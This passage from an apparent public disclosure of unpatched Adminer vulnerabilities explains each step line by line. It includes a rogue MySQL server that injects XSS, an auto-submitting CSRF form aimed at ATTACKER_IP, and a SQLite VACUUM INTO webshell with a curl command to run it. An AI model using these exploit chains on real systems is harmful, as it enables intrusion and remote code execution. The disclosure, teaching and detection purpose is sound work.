    pkt += b"\x00" * 10
    pkt += b"\x41" * 12 + b"\x00"
    pkt += b"mysql_native_password\x00"
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00\x00\x00"
    pkt += struct.pack("<H", 0x0002)
    pkt += struct.pack("<H", 0)
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try: conn.recv(4096)
    except: conn.close(); return
    conn.sendall(make_ok(2))
    while True:
        try:
            data = conn.recv(4096)
            if not data: break
            conn.sendall(make_err(data[3] + 1))
        except: break
    conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("[redacted]", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version:", PAYLOAD)
while True:
    conn, _ = srv.accept()
    threading.Thread(target=handle, args=(conn,)).start()

Line by line:

  • import socket, struct, threading loads three Python modules: socket for network connections, struct for packing numbers into bytes, and threading so several connections can be handled at once.
  • PAYLOAD = "1');alert(origin)//" is the fake version string. It starts with a digit so the regex matches, then closes the JavaScript string with ', closes the call with ), adds a semicolon, and runs alert(origin). alert pops up a browser dialog; origin is the current site's address, so the popup proves the code ran on the victim's site. // comments out the rest of the line so the leftover code does not break.
  • The CAP_... lines define feature flags from the MySQL protocol, written in hexadecimal (base 16, where 0x marks the number). CAPS_LOW and CAPS_HIGH combine them into the two halves the protocol expects.
  • def make_packet(seq, payload): builds one protocol packet: a three-byte length, a one-byte sequence number, then the payload. struct.pack("<I", len(payload))[:3] turns the length into four bytes and keeps the first three.
  • def make_greeting(version_str): builds the server's opening message. It starts with \x0a (protocol version 10), then the version string, then a series of fixed fields: connection id, some random-looking auth bytes, filler, capability flags, character set, status flags, auth data length, and the name of the password method. The comment marks the version string as attacker controlled, which is the whole point.
  • def make_ok(seq): builds a "login accepted" reply.
  • def make_err(seq, msg=b"not supported"): builds an error reply, used to answer any query after login so the fake server does not have to implement real database behaviour.
  • def handle(conn): is what happens for each visitor. It sends the greeting, waits for the client's login packet, sends OK, then loops answering every query with an error until the client disconnects.
  • srv = socket.socket() creates the listening socket. setsockopt(...SO_REUSEADDR...) lets the program restart without waiting for the port to free up. bind(("[redacted]", 3307)) listens on all network interfaces on port 3307. listen(5) queues up to five pending connections.
  • The while True: loop accepts each connection and starts a thread to handle it, so multiple victims can be served at once.

Point the victim Adminer at this server, log in as anyone, and the dashboard renders with:

HTML
<script nonce="REAL_NONCE_VALUE">syntaxHighlighting('1');alert(origin)//', 'mysql');</script>

Line by line:

  • <script nonce="REAL_NONCE_VALUE"> is the tag Adminer generated, carrying the real nonce, so the browser's CSP allows it.
  • syntaxHighlighting('1'); is the start of the intended call, with the version reduced to 1.
  • alert(origin) is the injected code, now sitting inside the trusted script.
  • //', 'mysql');</script> is the remainder of Adminer's own code, commented out so it does not cause a syntax error.

alert(origin) runs. Because the login form has no CSRF token, the precondition can be satisfied from a remote attacker page without any user action beyond visiting the page:

HTML
<form id="f" method="POST" action="http://target.tld/adminer.php">
  <input name="auth[driver]" value="server">
  <input name="auth[server]" value="ATTACKER_IP:3307">
  <input name="auth[username]" value="root">
  <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>

Line by line:

  • <form id="f" method="POST" action="http://target.tld/adminer.php"> starts a form that will send its fields to the victim's Adminer. POST is the request type used when submitting data.
  • The four <input> lines fill in the login fields: driver server (meaning "connect to a MySQL server"), the attacker's address and port, a username of root, and a dummy password.
  • <script>document.getElementById('f').submit()</script> submits the form automatically as soon as the page loads, so the visitor does not have to click anything.

The victim visits the page. Their browser POSTs the login. Adminer connects out to the attacker's MySQL server, receives the malicious version string, renders the dashboard, and runs the payload in the origin of the victim's Adminer. Origin means the site's address as the browser sees it, so the injected code runs with the same trust as Adminer itself.

Bug 3: Authenticated RCE via SQLite VACUUM INTO

The last one is small and slightly funny. Adminer's authors clearly thought about the obvious SQLite-to-RCE path, because they put it on a blocklist. They just forgot that SQLite has more than one way to write a file. SQLite is a database that lives entirely in a single file, with no separate server process, which makes it popular for small sites and apps. The relevant code is in adminer/sql.inc.php at line 121:

PHP
if (JUSH == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    // PHP doesn't support setting SQLITE_LIMIT_ATTACHED
    echo "<p class='error'>" . lang('ATTACH queries are not supported.') . "\n";
}

Line by line:

  • if (JUSH == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) { checks two things: that the current database is SQLite, and that the query $q matches the pattern. The pattern means: optional leading whitespace, then the word ATTACH as a whole word (\b is a word boundary), case-insensitive (i).
  • // PHP doesn't support setting SQLITE_LIMIT_ATTACHED is a comment explaining why the block exists rather than a proper limit.
  • echo "<p class='error'>" . lang('ATTACH queries are not supported.') . "\n"; prints an error message instead of running the query.

The blocklist matches any query that starts with ATTACH. The historical reason this exists is that ATTACH DATABASE 'shell.php' is the textbook SQLite-to-PHP-shell primitive: SQLite creates the database file with the given name and extension, and if the file contains arbitrary attacker-supplied bytes (for example as a table name), PHP will happily parse the bytes between <?php ... ?> and execute them. In other words, you make SQLite write a file that is really a PHP program, then ask the web server to run it.

What the blocklist does not cover is VACUUM INTO, available since SQLite 3.27.0. VACUUM in SQLite is a maintenance command that tidies the database file; VACUUM INTO 'path.php' does almost exactly the same thing as ATTACH: it writes the current database to a new file at an arbitrary path with an arbitrary extension. The blocklist regex starts with ATTACH\b, so a query starting with VACUUM walks straight through.

The full chain, after logging into the SQLite driver:

SQL
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';

Line by line:

  • CREATE TABLE "<?php system($_GET['c']); ?>" (i int); makes a table whose name is the PHP payload. The quotes let the name contain spaces and symbols. (i int) just declares one integer column, because a table needs at least one.
  • VACUUM INTO '/var/www/html/shell.php'; copies the whole database to that path. /var/www/html is a common web root on Linux servers.

The first statement creates a table whose name is the PHP payload. SQLite stores table names as literal UTF-8 bytes inside the database file. UTF-8 is the standard way of encoding text as bytes. VACUUM INTO then writes the whole database to /var/www/html/shell.php. PHP's parser scans the resulting file, hits the <?php marker somewhere in the middle of the SQLite binary content, and runs everything between it and the closing ?>. A parser is the part of a language runtime that reads a file and works out what is code. That gives a shell:

Bash
curl "http://target.tld/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Line by line:

  • curl "http://target.tld/shell.php?c=id" requests the file SQLite just wrote and passes id as the command to run.
  • The comment shows the output, again confirming the web server user www-data ran the command.

This one is post-auth, so it is meaningfully less severe than Bug 1, but SQLite-backed Adminer instances are often left with default or empty credentials, and an attacker who has compromised any low-privilege account on the database has the same primitive.

Root cause

  • Bug 1. The MSSQL driver concatenates the user-supplied host into an ODBC DSN without escaping. ODBC treats ; as a parameter delimiter, so the host field can append TraceFile and TraceOn. The username is then written raw into the trace file's UID={...} field, which turns the trace into a PHP file. host_port() does not help because it returns the input unchanged when it does not match the IPv6 bracket form.
  • Bug 2. The dashboard echoes connection()->server_info into a <script> tag. The preg_replace with ~^(\d\.?\d).*~s is meant to extract a version prefix, but when the pattern does not match it returns the input unchanged, so a version string that does not start with a digit is concatenated raw. The script() helper wraps the result in a tag carrying the legitimate per-request CSP nonce, so the CSP does not block the injected code.
  • Bug 3. The SQLite blocklist only matches queries that start with ATTACH. VACUUM INTO writes the current database to an arbitrary path with an arbitrary extension, and the blocklist does not cover it.

Impact

  • Bug 1 is pre-auth remote code execution on any Adminer running on top of pdo_sqlsrv with the Microsoft ODBC Driver for SQL Server installed and a writable web root. No valid SQL Server and no credentials are needed; the login attempt fails by design. The same shape exists in the pdo_dblib branch, which was not confirmed against a reachable install.
  • Bug 2 is a stored XSS that bypasses Adminer's CSP. It needs an attacker-controlled MySQL server and a victim who visits an attacker page; the login form has no CSRF token, so the victim's browser POSTs the login without any further action. The payload runs in the origin of the victim's Adminer.
  • Bug 3 is authenticated remote code execution against SQLite. It is post-auth, so it is meaningfully less severe than Bug 1, but SQLite-backed Adminer instances are often left with default or empty credentials, and an attacker who has compromised any low-privilege account on the database has the same primitive.

Since there is no patch out yet, any reachable Adminer panel is at least exploitable for the XSS, because Bug 2 has no host-side preconditions; depending on the database driver underneath, the same panel can chain further into RCE.

Fix

The full set was reported to the maintainer via GitHub on 6 April 2026 and followed up on 13 April. At the time of writing, over two months later, there has still been no acknowledgement. There is no patch to describe.

Variants to test

  • The pdo_dblib branch at line 195 of adminer/drivers/mssql.inc.php uses dblib:charset=utf8;host=$host; they did not confirm a gadget there because they had no reachable dblib install.
  • Panel discovery. The official Nuclei template for detecting Adminer panels missed enough live instances that they wrote their own. Nuclei is a scanner that runs reusable checks called templates against a list of addresses. Theirs enumerates the common deployment filenames Adminer ships with plus a few aliases people use, and confirms the panel via the page title and a footer string:
YAML
id: adminer-panel

info:
  name: Adminer Login Panel - Detect
  author: yshahinzadeh,amirmsafari
  severity: info
  description: An Adminer login panel was detected.
  tags: panel,adminer,discovery

http:
  - method: GET
    path:
      - '{{BaseURL}}/adminer-5.0.0.php'
      - '{{BaseURL}}/adminer-5.0.1.php'
      - '{{BaseURL}}/adminer-5.0.2.php'
      - '{{BaseURL}}/adminer-5.0.3.php'
      - '{{BaseURL}}/adminer-5.0.4.php'
      - '{{BaseURL}}/adminer-5.0.5.php'
      - '{{BaseURL}}/adminer-5.0.6.php'
      - '{{BaseURL}}/adminer-5.1.0.php'
      - '{{BaseURL}}/adminer-5.1.1.php'
      - '{{BaseURL}}/adminer-5.2.0.php'
      - '{{BaseURL}}/adminer-5.2.1.php'
      - '{{BaseURL}}/adminer-5.3.0.php'
      - '{{BaseURL}}/adminer-5.4.0.php'
      - '{{BaseURL}}/adminer-5.4.1.php'
      - '{{BaseURL}}/adminer-5.4.2.php'
      - '{{BaseURL}}/adminer-5.0.0-en.php'
      - '{{BaseURL}}/adminer-5.0.1-en.php'
      - '{{BaseURL}}/adminer-5.0.2-en.php'
      - '{{BaseURL}}/adminer-5.0.3-en.php'
      - '{{BaseURL}}/adminer-5.0.4-en.php'
      - '{{BaseURL}}/adminer-5.0.5-en.php'
      - '{{BaseURL}}/adminer-5.0.6-en.php'
      - '{{BaseURL}}/adminer-5.1.0-en.php'
      - '{{BaseURL}}/adminer-5.1.1-en.php'
      - '{{BaseURL}}/adminer-5.2.0-en.php'
      - '{{BaseURL}}/adminer-5.2.1-en.php'
      - '{{BaseURL}}/adminer-5.3.0-en.php'
      - '{{BaseURL}}/adminer-5.4.0-en.php'
      - '{{BaseURL}}/adminer-5.4.1-en.php'
      - '{{BaseURL}}/adminer-5.4.2-en.php'
      - '{{BaseURL}}/adminer-5.0.0-mysql.php'
      - '{{BaseURL}}/adminer-5.0.1-mysql.php'
      - '{{BaseURL}}/adminer-5.0.2-mysql.php'
      - '{{BaseURL}}/adminer-5.0.3-mysql.php'
      - '{{BaseURL}}/adminer-5.0.4-mysql.php'
      - '{{BaseURL}}/adminer-5.0.5-mysql.php'
      - '{{BaseURL}}/adminer-5.0.6-mysql.php'
      - '{{BaseURL}}/adminer-5.1.0-mysql.php'
      - '{{BaseURL}}/adminer-5.1.1-mysql.php'
      - '{{BaseURL}}/adminer-5.2.0-mysql.php'
      - '{{BaseURL}}/adminer-5.2.1-mysql.php'
      - '{{BaseURL}}/adminer-5.3.0-mysql.php'
      - '{{BaseURL}}/adminer-5.4.0-mysql.php'
      - '{{BaseURL}}/adminer-5.4.1-mysql.php'
      - '{{BaseURL}}/adminer-5.4.2-mysql.php'
      - '{{BaseURL}}/adminer-5.0.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.2-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.3-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.4-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.5-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.6-mysql-en.php'
      - '{{BaseURL}}/adminer-5.1.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.1.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.2.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.2.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.3.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.4.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.4.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.4.2-mysql-en.php'
      - '{{BaseURL}}/adminer.php'
      - '{{BaseURL}}/_adminer.php'
      - '{{BaseURL}}/sql.php'
      - '{{BaseURL}}/mysql.php'
      - '{{BaseURL}}/editor.php'
      - '{{BaseURL}}' # Adminer Docker Image Launch it on root

    headers:
      Accept-Language: en-US,en;q=0.5
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Adminer</title>"
          - "Adminer</a>"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '<span class="version">([0-9.]+)'

Line by line:

  • id: adminer-panel names the template.
  • The info: block holds metadata: a human name, the authors, a severity of info (meaning this is a detection, not an attack), a description, and tags for searching.
  • http: starts the actual requests. - method: GET means fetch a page. path: lists every address to try; {{BaseURL}} is replaced by the site being scanned, so each line becomes one candidate filename such as /adminer-5.4.2.php or /adminer.php. The comment notes that the Adminer Docker image serves it at the root.
  • headers: sends Accept-Language: en-US,en;q=0.5, asking for English pages, so the response is predictable.
  • stop-at-first-match: true stops trying further paths once one matches, to keep the scan light.
  • matchers-condition: and means both matcher blocks must succeed. The first looks for the words Adminer</title> or Adminer</a> (the condition: or inside it means either one is enough). The second requires HTTP status 200, meaning the page loaded normally.
  • extractors: pulls out useful data. The regex <span class="version">([0-9.]+) captures the version number shown on the page, so you learn which Adminer you found.

That is all from them. They hope you enjoyed the read, and that it is clear why they chose to go public rather than keep waiting on a reply that may never come.

Glossary

  • 0-day: a security flaw the software maker does not know about yet, so no fix exists.
  • Adminer: a single-file PHP web application for managing databases through a browser.
  • Advisory: a formal public notice about a security problem, usually published with a fix.
  • Allowlist: a list of things that are permitted, with everything else refused.
  • Authenticated: requiring a valid login before the attack works.
  • Azure SQL: Microsoft's cloud-hosted version of SQL Server.
  • Blocklist: a list of things that are forbidden, with everything else allowed.
  • Bug bounty program: a scheme where an organisation pays researchers for finding and reporting security problems.
  • CSP (content security policy): a browser rule that limits which scripts a page may run.
  • CSRF token: a random value in a form that lets the server tell a genuine submission from a forged one.
  • CVE: a public catalogue number for a known vulnerability.
  • Concatenate: to glue pieces of text together into one string.
  • Container: a packaged, isolated runtime for an application.
  • Cookie: a small piece of data a site asks the browser to store and send back, used to remember state such as a login.
  • curl: a command-line tool for sending web requests.
  • Database: an organised store of information, queried with SQL.
  • Driver: code that knows how to talk to one particular kind of database.
  • DSN (data source name): the text string describing where and how to connect to a database.
  • Echo: to print something into a web page.
  • Encoding: turning characters with special meaning into harmless equivalents.
  • Escaping: marking special characters so they are treated as plain text.
  • Extension: an optional bundle of code that adds a capability to a language such as PHP.
  • Gadget: an existing piece of code bent to an attacker's purpose.
  • Handshake: the opening exchange when two programs connect and introduce themselves.
  • Hexadecimal: base-16 number notation, marked with 0x.
  • IPv6: the newer form of network address, written with colons and often in square brackets.
  • JavaScript: the language browsers run to make pages interactive.
  • MSSQL: Microsoft SQL Server, a database product.
  • MySQL: a widely used open-source database.
  • Nonce: a one-time random value a page uses to mark which script tags it trusts.
  • Nuclei: a scanner that runs reusable checks called templates against addresses.
  • ODBC: a standard way for programs to talk to databases.
  • Origin: a site's address as the browser sees it; code running in an origin has that site's trust.
  • Packet: one chunk of data sent over a network.
  • Parser: the part of a language runtime that reads a file and works out what is code.
  • PDO: PHP's generic database layer.
  • PHP: a programming language widely used for web servers.
  • Plugin: an optional add-on to a program.
  • Port: the numbered door on a machine that a service listens on.
  • Pre-auth: working before login, with no valid account.
  • Precondition: something that must already be true on the target for an attack to work.
  • Primitive: a small, reliable building block an attacker can reuse.
  • Protocol: the agreed format two programs use to talk.
  • Python: a general-purpose programming language.
  • RCE (remote code execution): making a server run an attacker's commands.
  • Regex: a pattern for matching text.
  • Shell: a way to run commands on a server.
  • Sink: the place where untrusted data is finally used in a dangerous way.
  • SQL: the language used to query and change databases.
  • SQLite: a database that lives entirely in a single file, with no separate server.
  • Stored XSS: cross-site scripting where the malicious content is saved and served back later.
  • Tag (in a code repository): a label on a particular version of the code.
  • Trace: a debugging log of what a program tried to do.
  • UTF-8: the standard way of encoding text as bytes.
  • Vulnerability: a weakness in software that an attacker can use.
  • Web root: the folder a website serves its files from.
  • Whitebox audit: reviewing a program by reading its source code.
  • XSS (cross-site scripting): getting your own JavaScript to run inside somebody else's web page.

More by Yashar Shahinzadeh

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.